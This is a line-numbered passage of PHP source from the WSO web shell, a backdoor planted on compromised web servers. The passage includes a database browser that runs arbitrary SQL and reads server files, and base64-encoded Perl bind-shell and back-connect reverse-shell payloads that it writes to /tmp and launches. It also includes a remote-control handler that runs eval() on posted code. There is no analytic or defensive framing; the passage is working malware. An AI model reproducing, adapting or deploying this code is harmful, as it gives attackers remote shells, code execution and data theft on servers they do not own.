1205<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
1206<td><select name='type'><option value='mysql' ";
1207 if (@$_POST['type'] == 'mysql') echo 'selected';
1208 echo ">MySql</option><option value='pgsql' ";
1209 if (@$_POST['type'] == 'pgsql') echo 'selected';
1210 echo ">PostgreSql</option></select></td>
1211<td><input type=text name=sql_host value='" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "'></td>
1212<td><input type=text name=sql_login value='" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "'></td>
1213<td><input type=text name=sql_pass value='" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "'></td><td>";
1214 $tmp = "<input type=text name=sql_base value=''>";
1215 if (isset($_POST['sql_host'])) {
1216 if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1217 switch ($_POST['charset']) {
1218 case "Windows-1251":
1219 $db->setCharset('cp1251');
1220 break;
1221 case "UTF-8":
1222 $db->setCharset('utf8');
1223 break;
1224 case "KOI8-R":
1225 $db->setCharset('koi8r');
1226 break;
1227 case "KOI8-U":
1228 $db->setCharset('koi8u');
1229 break;
1230 case "cp866":
1231 $db->setCharset('cp866');
1232 break;
1233 }
1234 $db->listDbs();
1235 echo "<select name=sql_base><option value=''></option>";
1236 while ($item = $db->fetch()) {
1237 list($key, $value) = each($item);
1238 echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
1239 }
1240 echo '</select>';
1241 } else echo $tmp;
1242 } else echo $tmp;
1243 echo "</td>
1244 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1245 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
1246 </tr>
1247 </table>
1248 <script>
1249 s_db='" . @addslashes($_POST['sql_base']) . "';
1250 function fs(f) {
1251 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1252 if(f.p1) f.p1.value='';
1253 if(f.p2) f.p2.value='';
1254 if(f.p3) f.p3.value='';
1255 }
1256 }
1257 function st(t,l) {
1258 d.sf.p1.value = 'select';
1259 d.sf.p2.value = t;
1260 if(l && d.sf.p3) d.sf.p3.value = l;
1261 d.sf.submit();
1262 }
1263 function is() {
1264 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1265 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1266 }
1267 </script>";
1268 if (isset($db) && $db->link) {
1269 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1270 if (!empty($_POST['sql_base'])) {
1271 $db->selectdb($_POST['sql_base']);
1272 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1273 $tbls_res = $db->listTables();
1274 while ($item = $db->fetch($tbls_res)) {
1275 list($key, $value) = each($item);
1276 if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
1277 $value = htmlspecialchars($value);
1278 echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? ' ' : " <small>({$n['n']})</small>") . "</nobr><br>";
1279 }
1280 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1281 if (@$_POST['p1'] == 'select') {
1282 $_POST['p1'] = 'query';
1283 $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
1284 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1285 $num = $db->fetch();
1286 $pages = ceil($num['n'] / 30);
1287 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1288 echo " of $pages";
1289 if ($_POST['p3'] > 1) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>< Prev</a>";
1290 if ($_POST['p3'] < $pages) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next ></a>";
1291 $_POST['p3']--;
1292 if ($_POST['type'] == 'pgsql') $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
1293 else $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
1294 echo "<br><br>";
1295 }
1296 if ((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1297 $db->query(@$_POST['p2']);
1298 if ($db->res !== false) {
1299 $title = false;
1300 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1301 $line = 1;
1302 while ($item = $db->fetch()) {
1303 if (!$title) {
1304 echo '<tr>';
1305 foreach ($item as $key => $value) echo '<th>' . $key . '</th>';
1306 reset($item);
1307 $title = true;
1308 echo '</tr><tr>';
1309 $line = 2;
1310 }
1311 echo '<tr class="l' . $line . '">';
1312 $line = $line == 1 ? 2 : 1;
1313 foreach ($item as $key => $value) {
1314 if ($value == null) echo '<td><i>null</i></td>';
1315 else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
1316 }
1317 echo '</tr>';
1318 }
1319 echo '</table>';
1320 } else {
1321 echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
1322 }
1323 }
1324 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1325 if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) echo htmlspecialchars($_POST['p2']);
1326 echo "</textarea><br/><input type=submit value='Execute'>";
1327 echo "</td></tr>";
1328 }
1329 echo "</table></form><br/>";
1330 if ($_POST['type'] == 'mysql') {
1331 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1332 if ($db->fetch()) echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1333 }
1334 if (@$_POST['p1'] == 'loadfile') {
1335 $file = $db->loadFile($_POST['p2']);
1336 echo '<pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
1337 }
1338 } else {
1339 echo htmlspecialchars($db->error());
1340 }
1341 echo '</div>';
1342 wsoFooter();
1343 }
1344 function actionNetwork() {
1345 wsoHeader();
1346 $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1347 $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1348 echo "<h1>Network tools</h1><div class=content>
1349 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1350 <span>Bind port to /bin/sh [perl]</span><br/>
1351 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1352 </form>
1353 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1354 <span>Back-connect [perl]</span><br/>
1355 Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1356 </form><br>";
1357 if (isset($_POST['p1'])) {
1358 function cf($f, $t) {
1359 $w = @fopen($f, "w") or @function_exists('file_put_contents');
1360 if ($w) {
1361 @fwrite($w, base64_decode($t));
1362 @fclose($w);
1363 }
1364 }
1365 if ($_POST['p1'] == 'bpp') {
1366 cf("/tmp/bp.pl", $bind_port_p);
1367 $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
1368 echo "<pre class=ml1>$out
1369" . wsoEx("ps aux | grep bp.pl") . "</pre>";
1370 unlink("/tmp/bp.pl");
1371 }
1372 if ($_POST['p1'] == 'bcp') {
1373 cf("/tmp/bc.pl", $back_connect_p);
1374 $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
1375 echo "<pre class=ml1>$out
1376" . wsoEx("ps aux | grep bc.pl") . "</pre>";
1377 unlink("/tmp/bc.pl");
1378 }
1379 }
1380 echo '</div>';
1381 wsoFooter();
1382 }
1383 function actionRC() {
1384 if (!@$_POST['p1']) {
1385 $a = array("uname" => php_uname(), "php_version" => phpversion(), "wso_version" => WSO_VERSION, "safemode" => @ini_get('safe_mode'));
1386 echo serialize($a);
1387 } else {
1388 eval($_POST['p1']);
1389 }
1390 }
1391 if (empty($_POST['a'])) if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
1392 else $_POST['a'] = 'SecInfo';
1393 if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
1394 exit;
1395?>